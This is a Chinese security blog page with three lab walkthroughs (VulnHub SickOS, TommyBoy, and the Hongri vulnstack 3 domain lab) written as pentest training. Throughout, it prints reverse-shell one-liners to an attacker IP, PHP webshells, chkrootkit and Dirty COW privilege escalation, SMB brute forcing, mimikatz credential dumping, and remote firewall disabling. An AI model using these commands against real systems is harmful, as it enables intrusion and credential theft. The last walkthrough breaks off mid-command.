首页
工具导航
留言面板
友情链接
Search
1
【红队工具】VShell v4.9.3 高级版,国产C2工具下载及使用
13,152 阅读
2
全网最全渗透测试靶场推荐【2026最新靶场推荐】,拒绝信息差
7,832 阅读
3
2025最新渗透测试靶场推荐,新手必练的靶场推荐
6,261 阅读
4
src平台推荐,挖SRC必须知道的25个漏洞提交平台
5,815 阅读
5
几个常见的密码字典推荐
5,535 阅读
AI
OSCP打靶
安全服务
建站
泷羽收录
渗透学习
渗透工具
服务器
登录
Search
标签搜索
渗透测试
内网渗透
Linux
网络协议
vulnhub
靶场实战
SQL注入
提权
代理隧道
域渗透
信息收集
权限提升
hackmyvm
WAF绕过
AI安全
云安全
蓝队防御
权限维持
红队攻击
云服务
白小羽
累计撰写
192
篇文章
累计收到
2
条评论
首页
导航
工具导航
留言面板
友情链接
搜索到
79
篇与
的结果
2025-05-18
vulnhub提权靶机SickOS系列
SickOS系列SickOS1.1靶机下载链接见:https://download.vulnhub.com/sickos/sick0s1.1.7z靶机渗透,主机发现arp-scan -l端口扫描,80端口是没有开启的,3128端口有一个http服务访问查看,这个服务呢是一个http代理,版本是3.1.19,8080端口也是一个http代理,但是已经关闭了既然是代理服务,那么我们进行目录扫描的时候,需要添加上这个代理ip+端口,不然扫不到80端口(80端口没有开启的)我们使用靶机的代理,这样就能扫描出来了,但是没有扫到后台管理的地址呢并没有该系统的后台管理地址浏览器添加代理访问成功,可以进一步信息收集了robots文件这个文件不知道是什么,先放着这就是wolfcms内容了漏洞检索一个一个看,直到第三个漏洞描述访问,原来是多了一个问号啊弱口令admin/admin(也可以进行爆破,毕竟没有验证码)上传一句话木马添加代理保存后即可连接成功反弹shellrm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/bash -i 2>&1|nc 192.168.209.130 6666 >/tmp/f创建交互式终端python -c 'import pty; pty.spawn("/bin/bash")'得到mysql数据库账号密码root / john@123登录进去,用户表只有一个用户admin继续信息收集,回家,历史命令,SUID文件计划任务ls -al /etc/cron*这些工具基本上都没啥用,这里需要用上之前的数据库密码,来登录这个home下面的用户sickos有了密码那么就直接sudo,可以看到是所有的东西都可以执行sudo,那么就简单了直接 sudo -s 保存用户变量,切换超级用户root,也可使用sudo -i使用root的环境变量SickOS1.2靶机下载链接见:https://www.vulnhub.com/entry/sickos-12,144/端口扫描,目标服务器开启了22端口和80端口访问80端口第一时间查看源码,在最下面<!-- NOTHING IN HERE ///\ -->目录扫描有一个指纹信息漏洞检索,并没有相关版本的漏洞将网页上的图片下载下来使用strings进行分析网上搜到一种方法Nmap --script http-methods --script-args http-methods.url-path='/test' 192.168.209.133该命令使用Nmap的http-methods脚本检测IP为192.168.209.133的主机上Web服务的/test路径支持的HTTP方法。利用这个PUT方法,可以上传文件至目标服务器,HTTP的请求方式常见的就是GET、POST、DELETE、PUT其中PUT方法,向服务器上传一个资源,用于创建或完全替换目标资源的内容。如果资源不存在,则创建该资源;如果资源已存在,则进行更新。DELETE:请求服务器删除由URL所标识的资源。那么我们尝试上传一个php文件,响应结果为创建成功<?php @eval($_POST[hack]);?>这时候回到页面,就会发现一个新的php文件蚁剑i连接这里反弹shell试了好多种方式,都不行,看样子是对端口进行了限制,先信息收集吧,用户信息系统信息收集uname -a lsb_release -a查找某一个用户的文件find / -user john -type f 2>/dev/null这里需要一个脚本,检查端口得开启情况(不是已使用的服务),默认使用iptables,但是没有权限这里需要用上一个脚本来检查端口的开放情况,脚本内容如下# !/bin/bash for i in $(seq 1 65535) do timeout 1 nc -vz 192.168.209.130 $i && echo "$i open" >> out.txt || echo "$i closed" >> out.txt; done echo "all port done"放到kali中,并开启http服务,并将所有端口的流量都转发到34444端口python -m http.server 5000 //备份iptables规则 iptables-save > /tmp/firewall.rules //将所有端口的流量都转发到34444端口 iptables -A PREROUTING -t nat -p tcp --dport 1:65535 -j REDIRECT --to-port 34444 //监听34444端口 nc -lvp 34444尝试从kali上下载这个文件,下载失败切换tmp进行下载还是失败那么就麻烦一点,传到本机上,再传到靶机这样就能上传成功了执行脚本会生成一个txt文件这里需要多执行几次,否则都是关闭的状态,检测不到结果kali回显了,说明443端口是放行的用bash反弹shell(如果反弹不成功,需要清除 iptables 的所有规则)bash -c 'bash -i >& /dev/tcp/192.168.209.130/443 0>&1'创建一个交互式终端python -c 'import pty; pty.spawn("/bin/bash")'信息收集,我是谁?我在哪?你是谁?漏洞检索,没有任何的漏洞信息,3.11.0不在这里面的库中查看有没有gcc编译命令这里利用cve-2021-4034提权poc打,注意kali开启的端口要是443提权失败,找其他信息(前面我们已经搜索了一些信息了,这里直接打)这里是要用到一个命令ls -al /etc/cron*这个命令就是说查看所有和计划任务有关的所有内容,发现了一个计划任务,chkrootkit命令其中/etc/crontab:这是系统的crontab文件,用于定义系统级别的定时任务。/etc/cron.d:该目录用于存放系统级别的定时任务配置文件。/etc/cron.daily :这些脚本用于执行每天需要进行的系统维护任务,如更新软件包列表、清理日志文件、更新数据库等。/etc/cron.hourly :这些脚本用于执行每小时需要进行的系统维护任务,如清理临时文件、更新缓存等。/etc/cron.monthly : 这些脚本用于执行每月需要进行的系统维护任务,如备份、报告生成等。/etc/cron.weekly :包含多个脚本文件,这些脚本每周执行一次。找到漏洞We just found a serious vulnerability in the chkrootkit package, which may allow local attackers to gain root access to a box in certain configurations (/tmp not mounted noexec). # 我们刚刚在chkrootkit包中发现了一个严重的漏洞,它可能允许本地攻击者在某些配置(/tmp而不是挂载noexec)下获得root访问权限。查看利用步骤大致意思就是说让我们在tmp目录下面创建一个文件叫做 update ,这个update文件呢包含了一些恶意脚本,当我们运行chkrootkit这个工具的时候,这些恶意脚本也会跟着执行,并且是以root身份执行的(它是计划任务,会定时执行)这里可以利用sudo提权,,将当前用户赋予sudo权限echo 'echo "www-data ALL=(ALL) NOPASSWD:ALL" >> /etc/sudoers' >/tmp/update chmod +x /tmp/update也可以向 /etc/passwd 追加一个用户,密码为 password@123 (使用openssl将这个密码加盐,不加也可以,得到结果advwtv/9yU5yQ,所以完整的命令如下)echo 'echo "xiaoyu:advwtv/9yU5yQ:0:0:,,,:/root:/bin/bash" >>/etc/passwd' >/tmp/update再者利用nc反弹shell(有思路就可以,这里没有成功)echo '/bin/bash -i >& /dev/tcp/192.168.209.130/443 0>&1' > /tmp/update如果有错误还请师傅们指正往期推荐111
2025年05月18日
2,210 阅读
0 评论
0 点赞
2025-05-18
超长攻击链vulhub靶机,TommyBoy1dot0
【oscp】超长攻击链vulhub靶机,TommyBoy1dot0靶机描述: 圣施耐克!汤米男孩需要您的帮助! 卡拉汉汽车公司终于进入了现代技术领域,并建立了一个Web服务器供其客户订购刹车片。 不幸的是,该站点刚刚瘫痪,唯一拥有管理员凭据的人是Tom Callahan Sr.-他刚刚去世!更糟糕的是,唯一一个了解服务器的人退出了! 您需要帮助Tom Jr.,Richard和Michelle再次恢复该网页。否则,卡拉汉汽车公司肯定会倒闭:-( ----谷歌翻译 目标:找到六个flag下载地址:https://www.vulnhub.com/entry/tommy-boy-1,157/主机发现arp-scan -l端口扫描(SYN),对应的服务端口为22,80,8080(服务阻止了我们访问,KEEP OUT,应该是内网才能访问的)nmap -sS 192.168.209.144 -p- -A -T4访问80端口目录扫描到的robots.txt文件前三个都是图片第四个是flag.txt,第一个flag找到了,B34rcl4ws找了很多地方都没有突破口了,看来只能从首页的源码找突破口了Nick的评论:备份副本在Big Tom的家目录中。 Richard的评论:你能也给我访问权限吗?只有Big Tom有密码。 Nick的评论:是的是的,我的处理器一次只能处理一个命令。 Richard的评论:请啦,我会好好请求的。 Nick的评论:我会给你设置管理员权限如果你告诉Tom不要再把重要信息存储在公司博客里。 Richard的评论:成交。公司博客地址是什么? Nick的评论:真的假的?你们这些家伙真是没救了。我们把它藏在一个以你们和Tom Jr.大打出手后注意到的地方命名的文件夹里。你知道的,就是你用木板砸他脑袋的那个地方。如果你不记得了,地址在这里:https://www.youtube.com/watch?v=VUxOd4CszJ8 Richard的评论:啊!我怎么忘了呢?谢谢。可以看到标题Hey Prehistoric Forest访问试试,数据库连接错误,一般目录不会存在空格,所以我们尝试 /PrehistoricForest /Prehistoricforest /prehistoricForest/prehistoricforest 四种写法,因为Linux是严格遵循大小写的,结果发现 /prehistoricforest 目录存在内容!而且是wordpress站点发现可能存在的用户6个,利用wpscan枚举用户信息,并利用msf中的top1024密码字典进行后台爆破wpscan --url http://10.10.10.192/prehistoricforest -e u -P /usr/share/wordlists/metasploit/burnett_top_1024.txttommy richard tom Tom Jr. Big Tom michelle密码没有找到嘞,giao,继续信息收集,wordpress版本为4.5.3版本漏洞检索(没有结果)那么只能手工注入了,SQL注入测试返回看第一篇文章,他说把站点目录切换到 /richard这下面有一个开车的少年下载下来后利用strings分析,包含了一段“xml”信息,有一个类似md5加密的密文识别这个hash,可以看到就是md5拿去解密https://www.somd5.com/,密码为:spanky第二篇文章,需要我们输入密码,我们试试刚刚解出来的 spanky密码正确的看到下面这一段话都总结一下吧1、只有tom(大汤姆)有登录的密码2、有一个 callahanbak.bak 的备份文件,需要你将其重命名为index.html3、有一个ftp服务,放在一个大多数扫描器都扫不到的端口上,每过15分钟上线4、nick重置了它的账号为,nickburns再翻一翻,到最后一篇文章的评论,有一个thisisthesecondflagyayyou.txt访问得到第二个flag,Z4l1nsky8008端口,有一个密匙nick的超级密匙sup3rl33t耐心等待一会儿,出现了一个65534端口目前已知的密码,就是刚刚的md5还有8008的密匙,还有flag,每个都尝试一下,发现密码是同样用户名一样的,都是nick重置后的用户名将这个readme下载下来get readme.txt大致就是告诉我们服务器上有一个子文件夹NickIzL33t,还有一个encrypted.zip文件他还说要通过手机访问,那么是不是要添加一个ua头呢?打开hackbar添加ua头(iphone)如下Mozilla/5.0 (iPhone; CPU iPhone OS............8.0 main%2F1.0 baiduboxapp/13.40.0.10 (Baidu; P2 15.5) NABar/1.0 themeUA=Theme/default需要利用html后缀来攻破这个壁垒,利用目录扫描工具dirb和dirsearch,均没有任何东西dirb http://10.10.10.192:8008/NickIzL33t/ -H 'User-Agent:Mozilla/5.0 (iPhone; CPU iPhone OS............8.0 main%2F1.0 baiduboxapp/13.40.0.10 (Baidu; P2 15.5) NABar/1.0 themeUA=Theme/default' dirsearch -u http://10.10.10.192:8008/NickIzL33t -H 'User-Agent:Mozilla/5.0 (iPhone; CPU iPhone OS............8.0 main%2F1.0 baiduboxapp/13.40.0.10 (Baidu; P2 15.5) NABar/1.0 themeUA=Theme/default'那么就利用wfuzz模糊测试工具,指定一个小型的字典以 fall 开头的字典,节省时间,实际情况我们是不清楚这个是以 fall 开头的cat /usr/share/wordlists/rockyou.txt| grep fall > small_rockyou.txt wfuzz -u http://10.10.10.192:8008/NickIzL33t/FUZZ.html -w small_rockyou.txt -H 'User-Agent: Mozilla/5.0 (iPhone; CPU iPhone OS........... .8.0 main%2F1.0 baiduboxapp/13.40.0.10 (Baidu; P2 15.5) NABar/1.0 themeUA=Theme/default' --sc 200成功扫描出来了一个html第一个链接第二个链接,找到第三个flag,TinyHead第三个链接是一个zip文件,看样子需要我们根据第一个链接的提示猜测密码原文翻译如下大汤姆,你的密码库是用(是的,你猜对了)密码保护的! 因为你选择了像“passwordi23”和“brakepad”这样愚蠢的密码,我强制要求你使用新的密码。 13个字符,宝贝! MUAHAHAHAHAH ! ! 你的密码是 你妻子的昵称“bev”(注意全是小写的)加上以下内容: 一个大写字符, 两个数字, 两个小写字符, 一个符号 Tommy Boy 在剧院上映的年份 是的,胖子,要按的键很多,但要确保你把它们都打在一个大块上,好吗? 嘿,“大块”。 大块输入大块。 这是有趣的。固定的信息找到了两个,devxxxxxx1995那么使用kali下载下来(记得添加ua头)wget http://10.10.10.192:8008/NickIzL33t/t0msp4ssw0rdz.zip --header='User-Agent:Mozilla/5.0 (iPhone; CPU iPhone OS............8.0 main%2F1.0 baiduboxapp/13.40.0.10 (Baidu; P2 15.5) NABar/1.0 themeUA=Theme/default'接下来利用已知的密码信息,来生成密码字典crunch 13 13 -t bev,%%@@^1995 > pass.txt命令解释:13 13 : 表示生成13个字符,如果是 7 13那么就代表从7位数开始生成,一直生成到13位数完,也就是(7-13个字符)-t : template的缩写,表示使用模板(模式)来生成密码。bev,%%@@^1995 : 模板字符串含义如下 , 表示包含任意一个大写字母(A-Z) % 表示包含任意一个数字(0-9) ^ 表示特殊字符 @ 表示任意的小写字母(a-z) 查看具体代表的字符,可以这样使用,只是用一个符号来利用crunch 1 1 -t , # 输出结果 A B C D … … Y Z并利用这个字典进行爆破fcrackzip -D -p pass.txt -u t0msp4ssw0rdz.zip找到了zip的密码 bevH00tr$1995unzip t0msp4ssw0rdz.zip cat passwords.txt这里有三个用户和密码信息(ssh鉴权失败),只能从网页上走了,但是3个用户都是失败的BigTommyC : money TomC : wedding bigtommysenior : fatguyinalittlecoat那么对密码字典进行一下赛选吧,那么多的大汤姆,就以tom进行赛选cat /usr/share/wordlists/rockyou.txt| grep tom > tom_rockyou.txt wpscan --url http://10.10.10.192/prehistoricforest -e u -P tom_rockyou.txt此时就爆破成功了一个密码tom / tomtom1,登录进去就行了这里有人告诉我们后门遗忘的数字是 1938!! 所以我们将字符拼接到上面密码上,得到账号密码我们利用这个新的到的账号密码再次尝试ssh登入用户:bigtommysenior 密码:fatguyinalittlecoat1938!!登录成功了,找到第四个flag,EditButton,并且提示我们第五个flag在 /5.txt中www-data用户,那么思路就是要么直接提权到root用户,要么直接切换到www-data用户,再就是直接在网站中写入一个php马系统信息收集,看看能不能直接内核提权其他的一些信息收集uname -a cat /etc/os-release # 没有lsb_release -a命令可以使用这个代替 sudo -l # 查看可以使用sudo的文件 find / -perm -4000 -print 2>/dev/null # 查找 SUID文件 ls -al /etc/cron* # 查看所有计划任务 find / -perm 777 -type f 2>/dev/null # 查看文件权限为777的文件信息 ps -aux | grep mysql # 查看mysql是否在后台运行 netstat -tuln # 查看端口信息当前目录下有一个zip文件需要我们解密,看向旁边有一个callahanbak.bak文件,这个不就是文章中所说的备份文件嘛,需要让我们修改成index.html就可以恢复正常貌似没什么东西啊转过来网站的配置文件,看到账号密码信息wordpressuser CaptainLimpWrist!!!四个账号密码信息richard : $P$BzW7ZDwxd7THv1D4rTANjGGgzV0XK9/ tommy : $P$BCcKbJIQtLuiBOybaQPkkfe1yYJRkn. michelle : $P$BIEfXY1Li5aYTokSsi7pBgh0FTlO6k/ tom : $P$BmXAz/a8CaPZDNTraFb/g6kZeTpijK. # 全部解密失败,得不到明文信息了没有利用的了,这个时候看看能不能在网站目录下面写一个木马了find / -name 'NickIzL33t' 2>/dev/null cd /var/thatsg0nnaleaveamark/NickIzL33t看到这个目录下面有一个当前用户可以写的目录写入一句话木马cd uploads/ echo "<?php @eval($_GET[pass]);?>" > cmd.php # 之后你可能会发现站点报内部错误,大概率是php禁用了eval函数 # 替换system就可以了 echo "<?php system($_GET[pass]);?>" > cmd.php下载这个内容.5.txt文件,找到第五个flag :Buttcrack,最后一句话是说,对着所有的flag进行操作组合,即可解开loot.zip文件wget 'http://10.10.10.192:8008/NickIzL33t/P4TCH_4D4MS/uploads/cmd.php?pass=cat%20/.5.txt' --header="User-Agent:Mozilla/5.0 (iPhone; CPU iP hone OS............8.0 main%2F1.0 baiduboxapp/13.40.0.10 (Baidu; P2 15.5) NABar/1.0 themeUA=Theme/default" root@kali:/data/exp/demo# cat 'cmd.php?pass=cat %2F.5.txt' FIFTH FLAG!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!! YOU DID IT!!!!!!!!!!!!!!!!!!!!!!!!!!!! OH RICHARD DON'T RUN AWAY FROM YOUR FEELINGS!!!!!!!! Flag data: Buttcrack Ok, so NOW what you do is take the flag data from each flag and blob it into one big chunk. So for example, if flag 1 data was "hi" and flag 2 data was "there" and flag 3 data was "you" you would create this blob: hithereyou Do this for ALL the flags sequentially, and this password will open the loot.zip in Big Tom's folder and you can call the box PWNED.第一个flag:B34rcl4ws第二个flag:Z4l1nsky第三个flag:TinyHead第四个flag:EditButton第五个flag:Buttcrack组合:B34rcl4wsZ4l1nskyTinyHeadEditButtonButtcrack,这个时候就能找到最后一个内容flag啦(并没有提权奥,目标就是找到6个flag)至此已经全部做完啦,oscp+认证之路,我们会一直陪着您,加油!思路总结1、通过端口扫描出来的信息,发现22和80还有8008端口的服务,其中80和8008端口是http服务,可以通过网页访问2、然后通过80端口目录扫描出来的robots.txt文件,找到第一个flag3、通过访问页面的源码和提示信息,开魔法访问网站,有一个标题,或者评论区找到信息,进行拼凑名称,最终发现一个prehistoricforest目录,这个目录呢是一个wordpress站点4、通过阅读wordpress站点的文章,找到第二个flag,获取一个压缩文件,并且会告诉你这个压缩文件的一些密码提示5、通过这些提示,用密码生成工具crunch生成可能的用户密码,进行爆破,找到第3个flag6、第四个flag需要使用wpscan对wordpress站点进行爆破和用户枚举,登录到后台后,就能获得遗漏的密码提示(缺少的后缀信息),然后就能登录ssh获取第4个flag7、第五个flag在第四个flag的提示中,在系统的根目录下面有一个.5.txt隐藏的txt文件,会发现他是www-data用户8、通过对数据库密码进行一系列的猜测,最后发现一个uploads文件夹当前低权限用户可以写文件,此时写入一句话木马,并且这个一句话木马不能包含@eval,否则会内部错误,你访问不了网站,写入这个一句话马后就能获取到第五个flag9、根据第五个flag的提示,将五个flag组合就是当前用户下的那个zip文件的密码,解压后,获取到最终flag。往期推荐【oscp】pWnOS系列全教程,Webmin文件披露,Simple PHP Blog渗透教程【oscp】SickOS系列全教程【oscp】tar、zip命令提权—zico2【RCE剖析】从0-1讲解RCE漏洞绕过,Windows与Linux/RCE漏洞绕过方式总结渗透测试中新手必练的15个靶场从零开始学SQL注入(sql十大注入类型):技术解析与实战演练
2025年05月18日
1,603 阅读
0 评论
0 点赞
2025-05-18
红日靶场3,joomla渗透,海德拉SMB爆破,域内5台主机横向移动教学
这是红日团队的第三套靶场,本次靶场渗透涉及敏感信息泄露、暴力破解、脏牛提权、内网穿透、端口转发、以及域渗透等多种知识点。该靶场环境由5台机器组成,其中包括3台Windows机器和2台Linux机器。网络拓扑图如下红日靶场(1-8)全套下载连接:链接:https://pan.baidu.com/s/1ppyPlm6osobxReI50fCSZw?pwd=uze8 提取码:uze8 红日官网:http://vulnstack.qiyuanxuetang.net/那么开始渗透首先添加一张网卡(仅主机模式),192.168.93.0/24 网段web-centos 进去第一条命令,重启网络服务,否则可能上不了网service network restart 网卡1:桥接模式 192.168.1.110网卡2:仅主机 192.168.93.100账号密码:wwwuser/wwwuser_123Aqxweb1-ubuntu仅主机模式:192.168.93.120PC仅主机:192.168.93.30win 2008仅主机:192.168.93.20 Windows 2008本地的管理员用户和域管理员的密码 WIN2008Administrator:123qwe!ASD TESTadministrator:zxcASDqw123!!win 2012仅主机:192.168.93.10kaliIP:192.168.1.8,192.168.1.5(中间换了换 IP)这是一个黑盒测试,开机后就不要进行任何的操作了。外网打点主机发现,因为是桥接模式,ip有点多,所以就挨个测试,看110很可疑,第一次就测出来了22端口,openssh 5.3版本,80端口 nginx 1.9.4 ,Joomla内容管理xi'tong3306测试,发现可以远程登录,但是我们不知道用户信息进一步信息收集查看源码丢给deepseek,看看有没有泄露版本另外在joomla这个cms内容管理系统中呢,这个文件存在版本信息,我们可以看看/administrator/manifests/files/joomla.xml上面可以看到cms的指纹信息了,版本为3.9.12,下面进行漏洞检索searchsploit Joomla 3.9漏洞信息里面是没有可以利用的漏洞的,下面我们用joomscanapt install joomscan joomscan --url http://192.168.1.110/JoomScan 是一款专门针对 Joomla 内容管理系统(CMS)的安全扫描工具,用于检测 Joomla 网站中的漏洞、配置错误和安全风险。扫描出来一个这个东西,访问即可curl http://192.168.1.110/configuration.php~服务攻防找到了mysql的账号密码,刚开始我们已经测试过能远程登录mysql的mysql -utestuser -h192.168.1.110 -p --skip-ssl 密码:cvcvgjASD!@ MySQL [joomla]> use joomla; MySQL [joomla]> select * from umnbt_users;很明显是加了盐的,破解起来很难,这里还有另外一个表am2zu_users查看是否能向外部写文件,以及是否允许写日志文件show variables like '%general%'; SHOW VARIABLES LIKE 'general_log_file';这里发现secure_file_priv是允许向外部写文件的,那么我们尝试写一个shell木马,报错了,看样子是不允许我们写入的MySQL [joomla]> select '<?php phpinfo();@eval($_GET[1]);?>' into outfile '/var/www/html/shell.php'; ERROR 1045 (28000): Access denied for user 'testuser'@'%' (using password: YES)那么更换日志渗透的方法,上面看到日志功能是off的我们需要no,很遗憾也是权限不够MySQL [joomla]> set global general_log=on; ERROR 1227 (42000): Access denied; you need (at least one of) the SUPER privilege(s) for this operation那么久添加后台用户进一步渗透,两个表中呢,我们不清楚哪个表是后台的用户表,那么就都添加一条数据,密码为123456的md5,e10adc3949ba59abbe56e057f20f883e,首先我们要看看需要添加哪些字段desc 表名; id,name,username,email,password,activation,otpKey,otep构造sql语句insert into am2zu_users(id,name,username,email,password,activation,otpKey,otep) values(999,'xiaoyu','xiaoyu@test.com','e10adc3949ba59abbe56e057f20f883e','ssssss','kkkkkk','yyyyy'); # 失败后面搜到了这个网站,有利用方法https://docs.joomla.org/How_do_you_recover_or_reset_your_admin_password%3F/zh-cn代码如下INSERT INTO `am2zu_users` (`name`, `username`, `password`, `params`, `registerDate`, `lastvisitDate`, `lastResetTime`) VALUES ('Administrator2', 'admin2', 'd2064d358136996bd22421584a7cb33e:trd7TvKHx6dMeoMmBVxYmg0vuXEA4199', '', NOW(), NOW(), NOW()); INSERT INTO `am2zu_user_usergroup_map` (`user_id`,`group_id`) VALUES (LAST_INSERT_ID(),'8');执行结果MySQL [joomla]> INSERT INTO `am2zu_users` -> (`name`, `username`, `password`, `params`, `registerDate`, `lastvisitDate`, `lastResetTime`) -> VALUES ('Administrator2', 'admin2', -> 'd2064d358136996bd22421584a7cb33e:trd7TvKHx6dMeoMmBVxYmg0vuXEA4199', '', NOW(), NOW(), NOW()); Query OK, 1 row affected (0.001 sec) MySQL [joomla]> select * from `am2zu_users`; +-----+----------------+---------------+---------------+-------------------------------------------------------------------+-------+-----------+---------------------+---------------------+------------+--------+---------------------+------------+--------+------+--------------+ | id | name | username | email | password | block | sendEmail | registerDate | lastvisitDate | activation | params | lastResetTime | resetCount | otpKey | otep | requireReset | +-----+----------------+---------------+---------------+-------------------------------------------------------------------+-------+-----------+---------------------+---------------------+------------+--------+---------------------+------------+--------+------+--------------+ | 891 | Super User | administrator | test@test.com | $2y$10$t1RelJijihpPhL8LARC9JuM/AWrVR.nto/XycrybdRbk8IEg6Dze2 | 0 | 1 | 2019-10-19 12:48:41 | 0000-00-00 00:00:00 | 0 | | 0000-00-00 00:00:00 | 0 | | | 0 | | 896 | Administrator2 | admin2 | | d2064d358136996bd22421584a7cb33e:trd7TvKHx6dMeoMmBVxYmg0vuXEA4199 | 0 | 0 | 2025-02-25 19:56:54 | 2025-02-25 19:56:54 | | | 2025-02-25 19:56:54 | 0 | | | 0 | +-----+----------------+---------------+---------------+-------------------------------------------------------------------+-------+-----------+---------------------+---------------------+------------+--------+---------------------+------------+--------+------+--------------+ 2 rows in set (0.001 sec) MySQL [joomla]> INSERT INTO `am2zu_user_usergroup_map` (`user_id`,`group_id`) -> VALUES (896,'8'); Query OK, 1 row affected (0.001 sec) MySQL [joomla]> select * from `am2zu_user_usergroup_map`; +---------+----------+ | user_id | group_id | +---------+----------+ | 891 | 8 | | 896 | 8 | +---------+----------+ 2 rows in set (0.001 sec)从上面那个网站可以知道账号密码为admin2/secret(注意数据一定要对应上,用户id需要对应,并且不能有重复的数据,否则都有可能登录不成功)我们修改主题文件为kali默认的反弹shell文件内容,并修改ip和端口但是呢反弹失败了,切换思路写一句话木马<?php @eval($_POST['pass']);?>使用蚁剑连接内网渗透这里呢被禁用命令了,也难怪刚刚反弹不成功这里我们需要蚁剑的一个插件(魔法)在列表页使用插件使用这个模式就可以正常执行命令啦,后面又试了试各种反弹shell的命令,都没有成功,那么只能利用这个蚁剑的shell了在/tmp/mysql/test.txt文件中有账号密码wwwuser/wwwuser_123Aqxssh连接失败,提示信息为算法问题那么需要加上算法ssh wwwuser@192.168.1.110 -oHostKeyAlgorithms=+ssh-rsa -oPubkeyAcceptedKeyTypes=+ssh-rsa # 以下是常见的解决方案 ssh -oHostKeyAlgorithms=ssh-rsa,ssh-dss vmware@10.10.10.130 # Unable to negotiate with 10.10.10.129 port 22: no matching host key type found. Their offer: ssh-rsa,ssh-dss ssh ubuntu@10.10.10.131 -oPubkeyAcceptedKeyTypes=+ssh-rsa -i id_rsa ssh -oHostKeyAlgorithms=+ssh-rsa -oPubkeyAcceptedKeyTypes=+ssh-rsa -i rain_rsa ubuntu@10.10.10.131内网信息收集使用icmp协议探测内网ip存活数量,发现了另外4台主机()for i in {1..254}; do (ping -c 1 192.168.93.${i} | grep "bytes from" | grep -v "Unreachable" &); done;上传frpkali开启frp服务器,frp相对详细使用教程见-- 三种代理方式打入内网靶机连接kali的frp服务器修改代理文件vi /etc/proxychains4.conf分别对10,20,120进行端口扫描(耗时可能有点久),第一台和第三台都是Windows服务器proxychains nmap -sT -sV -Pn 192.168.93.10 -T4proxychains nmap -sT -sV -Pn 192.168.93.20 -T4proxychains nmap -sT -sV -Pn 192.168.93.30 -T4这台扫描结果是Linux的服务器,开着ssh和3306端口,并且80也开着的proxychains nmap -sT -sV -Pn 192.168.93.120 -T4开启浏览器代理,代理到我们的kali,通过kali的代理访问这个内网靶机这是内网中的一个靶机,也是同样的cms,那么我们可不可以以同样的方式去获取密码再次利用joomscan这个工具,扫描结果也是一样的proxychains joomscan --url http://192.168.93.120/和刚刚的配置文件一模一样,那么大概率是使用的内网映射了,源主机是120,但是访问的是100那台具有nat网卡的主机连接ssh后,继续信息收集提权(可跳过)# kali git clone https://github.com/firefart/dirtycow.git cd dirtycow python -m http.server 5000 # 靶机 wget 192.168.1.8:5000/dirty.c gcc -pthread dirty.c -o dirty -lcrypt ./dirty my-new-password mv /tmp/passwd.bak /etc/passwd su firefart password:123456成功提权到最高权限第一台web服务器拿下利用nmap对两台Windows靶机的445端口进行漏洞扫描,判断是否存在永恒之蓝漏洞(三台接没有)那么还有一种方法就是SMB爆破了,非常巧,在我的top1000字典中恰好没有这个密码(所以为了伪装成一个大佬我就手动把密码加了进去~),再很巧,两个靶机的SMB密码都是123qwe!ASDproxychains hydra -l Administrator -P xato-net-10-million-passwords-1000.txt -s 445 -t 4 -vV -m "SMB" SMB://192.168.93.30 proxychains hydra -l Administrator -P xato-net-10-million-passwords-1000.txt -s 445 -t 4 -vV -m "SMB" SMB://192.168.93.20域渗透本机Windows打开 proxifier,并设置全局代理打开本机Windows的cmd,此时就能连接第一台SMB服务器,192.168.93.20net use \192.168.93.20ipc$ "123qwe!ASD" /user:administrator # 通过 net use 命令连接到目标服务器的 IPC$ 共享。 dir \192.168.93.20c$ # 列出目标服务器上 C$ 共享目录的内容。第二台192.168.93.30那么接下来就要关闭目标防火墙,开启远程连接,首先创建一个进程,关闭失败sc \192.168.93.20 create unablefirewall binpath= "netsh advfirewall set allprofiles state off" sc \192.168.93.20 start unablefirewall那么添加计划任务关闭防火墙试试呢at \192.168.93.20 23:17:00 'netsh advfirewall set allprofiles state off' at \192.168.93.20 23:17:00 'netsh advfirewall set allprofiles state off'接下来就是修改注册表了,计划任务设置允许远程登录at \192.168.93.20 23:31:00 "reg add 'HKLMSYSTEMCurrentControlSetControlTerminal Server' /v fDenyTSConnections /t REG_DWORD /d 0 /f"计划任务放行3389端口at \192.168.93.20 23:32:00 'netsh advfirewall firewall add rule name="Remote Desktop TCP" dir=in action=allow protocol=TCP localport=3389'尝试远程连接,连接失败,切换思路既然无法关闭那么就使用MSF咯proxychains MSFconsole set RHOST 192.168.93.20 set LHOST 192.168.93.5 # kali地址 set SMBUser Administrator set SMBPass 123qwe!ASD set LPORT 4444 set payload Windows/x64/shell_bind_tcp run这里就已经是系统权限了。。。。并且主机名为win2008查看dns服务器,为192.168.93.10,大概率就是域控服务器了ipconfig /all尝试使用密码123qwe!ASD登录域控服务器其他信息收集,检查是否存在杀软Windows defender(不存在)sc query WinDefend查看系统类型,是x64的C:Windowssystem32>systeminfo | findstr /i "system type" systeminfo | findstr /i "系�system type" OS Build Type: Multiprocessor Free System Type: x64-based PC上传mimikatz.exeexit set payload Windows/x64/meterpreter/bind_tcp run upload -r /data/windows_atk/mimikatz/x64/mimikatz.exe C:\使用shell执行命令,执行失败了那么就退出,使用shell_bind_tcp模块exit set payload windows/x64/shell_bind_tcp run抓取铭文密码mimikatz.exe log privilege::debug sekurlsa::logonpasswords得到两个域的账号密码,枚举DNS服务器的文件系统TEST:zxcASDqw123!! WIN2008:123qwe!ASD开启远程服务# 放行3389端口 netsh advfirewall firewall add rule name="Remote Desktop TCP" dir=in action=allow protocol=TCP localport=3389 # 关闭防火墙 netsh advfirewall set allprofiles state off # 修改注册表允许远程连接 reg add "HKLMSYSTEMCurrentControlSetControlTerminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f成功获取20靶机远程操作权限使用test域登录dns服务器,登录成功net use \192.168.93.10ipc$ "zxcASDqw123!!" /user:Administrator dir \192.168.93.10c$创建执行任务,关闭防火墙,执行不了奥sc \192.168.93.10 create unablefirewall binpath= "netsh advfirewall set allprofiles state off" sc \192.168.93.10 start unablefirewall那么就利用nc.exe反弹shellcurl -O http://192.168.1.5:5000/nc.exe net use \192.168.93.10ipc$ "zxcASDqw123!!" /user:Administrator copy .nc.exe \192.168.93.10c$ net use \192.168.93.20ipc$ "123qwe!ASD" /user:Administrator copy .nc.exe \192.168.93.20c$可以看到nc已经上传成功了创建一个进程sc \192.168.93.10 create ncshell binpath= "c:nc.exe 192.168.93.20 1234 -e cmd" sc \192.168.93.10 start ncshell在反弹过来的shell中开启远程连接# 放行3389端口 netsh advfirewall firewall add rule name="Remote Desktop TCP" 